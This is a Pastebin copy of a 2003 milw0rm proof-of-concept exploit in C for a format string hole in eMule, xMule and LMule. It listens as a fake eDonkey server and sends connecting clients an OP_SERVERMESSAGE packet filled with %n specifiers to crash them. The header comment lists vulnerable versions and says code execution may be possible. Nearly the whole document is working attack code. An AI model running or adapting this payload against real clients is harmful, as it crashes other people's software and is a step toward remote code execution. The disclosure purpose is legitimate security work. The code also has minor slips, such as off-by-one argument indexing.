Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*
- * eMule/xMule/LMule OP_SERVERMESSAGE Format String Vulnerability
- * (SecurityFocus BID 8443)
- * proof of concept code
- * version 1.0 (Aug 29 2003)
- *
- * by Rémi Denis-Courmont
- *
- * This vulnerability was found by:
- * Stefan Esser <s.esser@e-matters.de>
- * whose original advisory may be fetched from:
- * http://security.e-matters.de/advisories/022003.html
- *
- * Vulnerable:
- * - eMule v0.29c -> wait for server connection timeout (!?! I need help !?!)
- * - xMule stable v1.4.3 -> crash
- * - xMule unstable v1.5.6a -> crash
- * - Lmule v1.3.1 (NOT tested) -> ???
- *
- * There is something wrong with eMule 0.29c (exception handling) and it
- * refuses to crash.
- *
- * Not vulnerable:
- * - xMule stable v1.6.0,
- * - eMule v0.30a.
- *
- * As a format string vulnerability over a possibly large format input
- * buffer, experienced assembly coders (ie. NOT me) should be able to exploit
- * this vulnerability (you can find as much as 2 mega-bytes available in the
- * stack in the socket input buffer, and the message is also duplicated on
- * the heap and can be as long as 65535 bytes). However, getting clients to
- * connect to while not impossible, will be very very hard: Even though many
- * clients adds current server of other clients to their own server lists, so
- * that you can promote yourself as a server by actively connecting to others,
- * it is unlikely that your "server" will be selected from the list which
- * often exceeds 100 entries.
- * Anyway, the following proof-of-concept is entirely passive, so you will
- * probably only be able to test it against yourself (which is very fine,
- * because you usually are you only legal victim).
- */
- /*****************************************************************************
- * Copyright (C) 2003 Rémi Denis-Courmont. All rights reserved. *
- * *
- * Redistribution and use in source and binary forms, with or without *
- * modification, are permitted provided that the following conditions *
- * are met: *
- * 1. Redistributions of source code must retain the above copyright *
- * notice, this list of conditions and the following disclaimer. *
- * 2. Redistributions in binary form must reproduce the above copyright *
- * notice, this list of conditions and the following disclaimer in the *
- * documentation and/or other materials provided with the distribution. *
- * *
- * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR *
- * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES *
- * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. *
- * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, *
- * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT *
- * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, *
- * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY *
- * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT *
- * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF *
- * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. *
- *****************************************************************************/
- #include <stdio.h>
- #include <stdint.h>
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <unistd.h>
- #include <netdb.h>
- int gai_errno = 0;
- void
- gai_perror (const char *str)
- {
- if ((gai_errno == EAI_SYSTEM) || (gai_errno == 0))
- perror (str);
- else
- fprintf (stderr, "%s: %s\n", str, gai_strerror (gai_errno));
- }
- int
- socket_listen (const char *hostname, const char *servname)
- {
- struct addrinfo hints, *res;
- hints.ai_family = PF_INET;
- hints.ai_socktype = SOCK_STREAM;
- hints.ai_protocol = 0;
- hints.ai_flags = AI_PASSIVE;
- if ((gai_errno = getaddrinfo (hostname, servname, &hints, &res)) == 0)
- {
- struct addrinfo *ptr;
- for (ptr = res; ptr != NULL; ptr = ptr->ai_next)
- {
- int sock;
- sock = socket (ptr->ai_family, ptr->ai_socktype,
- ptr->ai_protocol);
- if (sock != -1)
- {
- const int val = 1;
- setsockopt (sock, SOL_SOCKET, SO_REUSEADDR,
- &val, sizeof (val));
- if (bind (sock, ptr->ai_addr, ptr->ai_addrlen)
- || listen (sock, INT_MAX))
- close (sock);
- else
- {
- /* success! */
- freeaddrinfo (res);
- return sock;
- }
- }
- }
- freeaddrinfo (res);
- }
- return -1;
- }
- int
- send_server_message (int fd/*, const char *message*/)
- {
- /*
- * Note that eDonkey is an Intel-centric protocol that sends/receives
- * everything in counter-network-byte order (ie. low order first).
- */
- uint8_t buf[] =
- "\xE3" // protocol
- "\x70\x01\x00\x00" // packet size
- "\x38" // command (Server message)
- "\x6D\x01" // message length (xMule ingores it, eMule reads it)
- "%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n\n"
- "Welcome to messmule, a proof-of-concept for:\n"
- "eMule/xMule/Lmule OP_SERVERMESSAGE\n"
- "Format String Vulnerability\n"
- "%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n\n"
- "If you can read this message from your Server info box,\n"
- "your client is probably not affected by that vulnerability.\n"
- "%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n\n"
- ;
- return (send (fd, buf, sizeof (buf) - 1, 0) != (sizeof (buf) - 1));
- }
- static int
- usage (const char *path)
- {
- printf (
- "Syntax: %s [port [hostname|IP]]\n"
- " Attempt to crash eMule/xMule/LMule clients which will connect to\n"
- " the specified server port (or 4661 by default), at the local\n"
- " host address (or any available address by default)\n", path);
- return 2;
- }
- int
- main (int argc, char *argv[])
- {
- puts ("eMule/xMule/LMule OP_SERVERMESSAGE "
- "Format String Vulnerabilitytion Vulnerability\n"
- "proof of concept code\n"
- "Copyright (C) 2003 Rémi Denis-Courmont "
- "<exploit@simutrans.fr.st>\n");
- if (argc > 3)
- return usage (argv[0]);
- else
- {
- int listenfd;
- const char *host, *port;
- port = (argc < 2) ? "4661" : argv[2];
- host = (argc < 3) ? NULL : argv[3];
- printf ("Binding to [%s]:%s ...\n",
- (host != NULL) ? host : "any", port);
- listenfd = socket_listen (host, port);
- if (listenfd == -1)
- {
- gai_perror (host);
- return 1;
- }
- while (1)
- {
- int clientfd;
- fputs ("Waiting for a client to connect ... ", stdout);
- clientfd = accept (listenfd, NULL, 0);
- if (clientfd == -1)
- {
- puts ("");
- perror ("Error");
- continue;
- }
- puts ("OK");
- fputs ("Sending server message ... ", stdout);
- if (send_server_message (clientfd))
- {
- puts ("");
- perror ("Error");
- }
- else
- puts ("Done");
- close (clientfd);
- }
- }
- return 0; /* dead code */
- }
- // milw0rm.com [2003-09-01]
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement